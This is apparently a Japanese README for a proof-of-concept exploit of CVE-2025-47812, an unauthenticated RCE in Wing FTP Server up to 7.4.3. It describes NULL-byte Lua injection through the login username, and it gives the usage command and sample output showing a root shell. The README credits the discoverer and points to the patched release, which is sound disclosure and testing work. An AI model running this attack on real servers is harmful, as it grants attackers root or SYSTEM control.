CVE-2025-47812 — Wing FTP Server <= 7.4.3 未認証 RCE (PoC)

Wing FTP Server <= 7.4.3 における未認証のリモートコード実行の脆弱性。ログイン時に username パラメータへ注入された NULL バイトにより、Lua コードがセッションファイルに書き込まれます。その結果のセッションクッキーを使用して /dir.html にアクセスすると、注入されたコードが実行されます — Linux では root として、Windows では SYSTEM として実行されます。

動作の仕組み

1. /loginok.html への細工された POST リクエストにより、username フィールドに NULL バイトとそれに続く Lua コードが注入されます。
2. サーバーは、サニタイズされていないユーザー名（Lua ペイロードを含む）を含むセッションファイルを作成します。
3. 返された UID クッキーを使用して /dir.html に GET リクエストを送信すると、注入された Lua コードが実行されます。
4. スクリプトは、サーバーの同時セッション上限に達しないよう、コマンドの合間にログアウトします。

必要条件

• Python 3
• 依存関係をインストール:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit

使用方法

python3 exploit.py -u http://TARGET

実行例:

$ python3 exploit.py -u http://10.10.10.10
[*] Targeting http://10.10.10.10
[*] Logging in with injected payload...
[*] Triggering payload...
[+] Target is vulnerable! Command output:
uid=0(root) gid=0(root) groups=0(root)

[+] Shell opened. Type 'exit' or Ctrl+C to quit.

Shell> whoami
root

参考リンク

• CVE-2025-47812
• Wing FTP Server 7.4.4 リリース（修正版）
• 4m3rr0r によるオリジナル PoC

クレジット

• 発見とオリジナルエクスプロイト: Sheikh Mohammad Hasan（別名 4m3rr0r）
• 整理と簡素化: Esteban Zárate